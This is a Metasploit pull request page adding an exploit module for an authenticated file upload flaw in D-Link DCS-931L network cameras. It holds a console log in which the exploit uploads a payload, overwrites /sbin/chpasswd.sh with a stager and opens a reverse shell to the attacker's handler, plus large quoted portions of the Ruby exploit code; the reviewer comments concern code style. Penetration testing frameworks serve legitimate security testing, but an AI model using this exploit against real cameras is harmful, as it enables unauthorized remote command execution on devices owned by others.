Add D-Link DCS-931L File Upload #6433

Merged
merged 1 commit into from Jan 5, 2016

Projects

None yet

4 participants

@bcoles
Contributor
bcoles commented Jan 5, 2016

This module exploits a file upload vulnerability in D-Link DCS-931L
network cameras. The setFileUpload functionality allows authenticated
users to upload files to anywhere on the file system, allowing system
files to be overwritten, resulting in execution of arbitrary commands.

This module has been tested successfully on a D-Link DCS-931L with
firmware versions 1.01_B7 (2013-04-19) and 1.04_B1 (2014-04-21).

D-Link DCS-930L, DCS-932L, DCS-933L models are also reportedly
affected, but untested.

Example Usage

msf > use exploit/linux/http/dlink_dcs931l_upload 
msf exploit(dlink_dcs931l_upload) > set rhost 192.168.0.20
rhost => 192.168.0.20
msf exploit(dlink_dcs931l_upload) > set verbose true
verbose => true
msf exploit(dlink_dcs931l_upload) > check
[+] 192.168.0.20:80 - The target is vulnerable.
msf exploit(dlink_dcs931l_upload) > set payload 
set payload generic/custom                  set payload generic/shell_reverse_tcp       set payload linux/mipsle/reboot             set payload linux/mipsle/shell_bind_tcp
set payload generic/shell_bind_tcp          set payload linux/mipsle/exec               set payload linux/mipsle/shell/reverse_tcp  set payload linux/mipsle/shell_reverse_tcp
msf exploit(dlink_dcs931l_upload) > set payload linux/mipsle/shell/reverse_tcp
payload => linux/mipsle/shell/reverse_tcp
msf exploit(dlink_dcs931l_upload) > run

[*] Started reverse TCP handler on 192.168.0.1:4444 
[*] 192.168.0.20:80 - Writing 296 bytes to /tmp/.W8bywk7k5F
[+] 192.168.0.20:80 - Payload uploaded successfully
[*] 192.168.0.20:80 - Writing 28 bytes to /sbin/chpasswd.sh
[+] 192.168.0.20:80 - Stager uploaded successfully
[*] Sending stage (84 bytes) to 192.168.0.20
[+] 192.168.0.20:80 - Payload executed successfully
[*] Command shell session 1 opened (192.168.0.1:4444 -> 192.168.0.20:2388) at 2015-12-29 01:25:46 -0500
[+] Deleted /tmp/.W8bywk7k5F
[*] 192.168.0.20:80 - Writing 249 bytes to /sbin/chpasswd.sh
[+] 192.168.0.20:80 - Restored /sbin/chpasswd.sh successfully

3920310658
zrvUTOFHMbAIPYLmwGwXQEhJefGHQChh
true
hCBYAtFzuOvseZFdaZdZNQYgXsqBTFuv
xjUfCdBYXUIjxfDmyMnSLlltgZMiORis
zWAFBZVHPflgNsSbZMxDzDfhKsRkTMBH
id
/bin/sh: id: not found
ls
bin
media
sys
home
mnt
dev
init
sbin
etc
tmp
var
lib
mydlink
etc_ro
usr
proc
usb3g.log
^C
Abort session 1? [y/N]  y

[*] 192.168.0.20 - Command shell session 1 closed.  Reason: User exit
@void-in void-in commented on the diff Jan 5, 2016
modules/exploits/linux/http/dlink_dcs931l_upload.rb
+ ],
+ 'DisclosureDate' => 'Feb 23 2015'))
+
+ register_options(
+ [
+ OptString.new('USERNAME', [true, 'Camera username', 'admin']),
+ OptString.new('PASSWORD', [false, 'Camera password (default: blank)', ''])
+ ], self.class)
+ end
+
+ def check
+ res = send_request_cgi(
+ 'uri' => normalize_uri('uploadfile.htm'),
+ 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']))
+ if !res
+ return Exploit::CheckCode::Unknown
@void-in
void-in Jan 5, 2016 Contributor

You can use:

unless res
  fail_with(...

instead of !res and return Exploit::CheckCode::Unknown as the last statement as Exploit::CheckCode::Safe is already getting returned on line 76

@void-in void-in commented on the diff Jan 5, 2016
modules/exploits/linux/http/dlink_dcs931l_upload.rb
+ return Exploit::CheckCode::Safe
+ elsif res && res.code && res.code == 401 && res.headers['WWW-Authenticate'] =~ /realm="DCS-931L"/
+ vprint_error("#{peer} - Authentication failed")
+ return Exploit::CheckCode::Detected
+ elsif res && res.code && res.code == 200 && res.body && res.body =~ /Upload File/
+ return Exploit::CheckCode::Vulnerable
+ end
+ Exploit::CheckCode::Safe
+ end
+
+ def exploit
+ payload_path = "/tmp/.#{rand_text_alphanumeric(rand(8) + 5)}"
+
+ # upload payload
+ res = upload(payload_path, generate_payload_exe)
+ if !res
@void-in
void-in Jan 5, 2016 Contributor

Use unless res instead of !res

@void-in void-in commented on the diff Jan 5, 2016
modules/exploits/linux/http/dlink_dcs931l_upload.rb
+ # upload payload
+ res = upload(payload_path, generate_payload_exe)
+ if !res
+ fail_with(Failure::Unreachable, "#{peer} - Connection failed")
+ elsif res && res.code && res.code == 404
+ fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist")
+ elsif res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
+ print_good("#{peer} - Payload uploaded successfully")
+ else
+ fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload payload")
+ end
+ register_file_for_cleanup(payload_path)
+
+ # overwrite /sbin/chpasswd.sh with stub
+ res = upload('/sbin/chpasswd.sh', "#!/bin/sh\n#{payload_path}&\n")
+ if !res
@void-in
void-in Jan 5, 2016 Contributor

Use unless res instead of !res

@void-in void-in commented on the diff Jan 5, 2016
modules/exploits/linux/http/dlink_dcs931l_upload.rb
+ print_good("#{peer} - Stager uploaded successfully")
+ else
+ fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload stager")
+ end
+
+ # execute payload using stub
+ res = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => normalize_uri('setSystemAdmin'),
+ 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
+ 'vars_post' => Hash[{
+ 'ReplySuccessPage' => 'advanced.htm',
+ 'ReplyErrorPage' => 'errradv.htm',
+ 'ConfigSystemAdmin' => 'Apply'
+ }.to_a.shuffle])
+ if !res
@void-in
void-in Jan 5, 2016 Contributor

Use unless res instead of !res

@wchen-r7 wchen-r7 commented on the diff Jan 5, 2016
modules/exploits/linux/http/dlink_dcs931l_upload.rb
+ res = upload('/sbin/chpasswd.sh', "#!/bin/sh\n#{payload_path}&\n")
+ if !res
+ fail_with(Failure::Unreachable, "#{peer} - Connection failed")
+ elsif res && res.code && res.code == 404
+ fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist")
+ elsif res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
+ print_good("#{peer} - Stager uploaded successfully")
+ else
+ fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload stager")
+ end
+
+ # execute payload using stub
+ res = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => normalize_uri('setSystemAdmin'),
+ 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
@wchen-r7
wchen-r7 Jan 5, 2016 Contributor

This should happen automatically when you use send_request_cgi. Specifically, here:
https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/proto/http/client.rb#L216

If I'm not mistaken, you should be able to safely remove this line, and basic auth should still occur. Can you (or anybody) please confirm?

@bcoles
bcoles Mar 20, 2016 Contributor

@wchen-r7 quick tests (with both patched and un-patched firmware) indicate the authorization header is required. Leaving this key out results in authentication failure.

Edit: I'm not sure why the authorization header wasn't sent if that's the expected behavior.

@wchen-r7 wchen-r7 commented on the diff Jan 5, 2016
modules/exploits/linux/http/dlink_dcs931l_upload.rb
+ post_data << "--#{boundary}\r\n"
+ post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n"
+ post_data << "\r\n#{path}\r\n"
+ post_data << "--#{boundary}\r\n"
+ post_data << "Content-Disposition: form-data; name=\"UploadFile\"; filename=\"#{rand_text_alphanumeric(rand(8) + 5)}\"\r\n"
+ post_data << "Content-Type: application/octet-stream\r\n"
+ post_data << "\r\n#{data}\r\n"
+ post_data << "--#{boundary}\r\n"
+ post_data << "Content-Disposition: form-data; name=\"ConfigUploadFile\"\r\n"
+ post_data << "\r\nUpload File\r\n"
+ post_data << "--#{boundary}\r\n"
+
+ send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => normalize_uri('setFileUpload'),
+ 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
@wchen-r7 wchen-r7 added the module label Jan 5, 2016
@nixawk
Contributor
nixawk commented Jan 5, 2016

@bcoles If a function is created to check res or res.code, module may be clear.

@wchen-r7
Contributor
wchen-r7 commented Jan 5, 2016

We have received a pcap from @bcoles, and will land this shortly (with the changes suggested).

@wchen-r7 wchen-r7 self-assigned this Jan 5, 2016
@wchen-r7 wchen-r7 merged commit 7907c93 into rapid7:master Jan 5, 2016

1 check passed

continuous-integration/travis-ci/pr The Travis CI build passed
Details
@wchen-r7 wchen-r7 added a commit that referenced this pull request Jan 5, 2016
@wchen-r7 wchen-r7 Land #6433, Add D-Link DCS-931L File Upload 6cfaf93
@bcoles bcoles deleted the bcoles:dlink_dcs931l_upload branch Jan 11, 2016
@bcoles
Contributor
bcoles commented Jan 13, 2016

Thanks guys. I've verified the module is working after changes.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment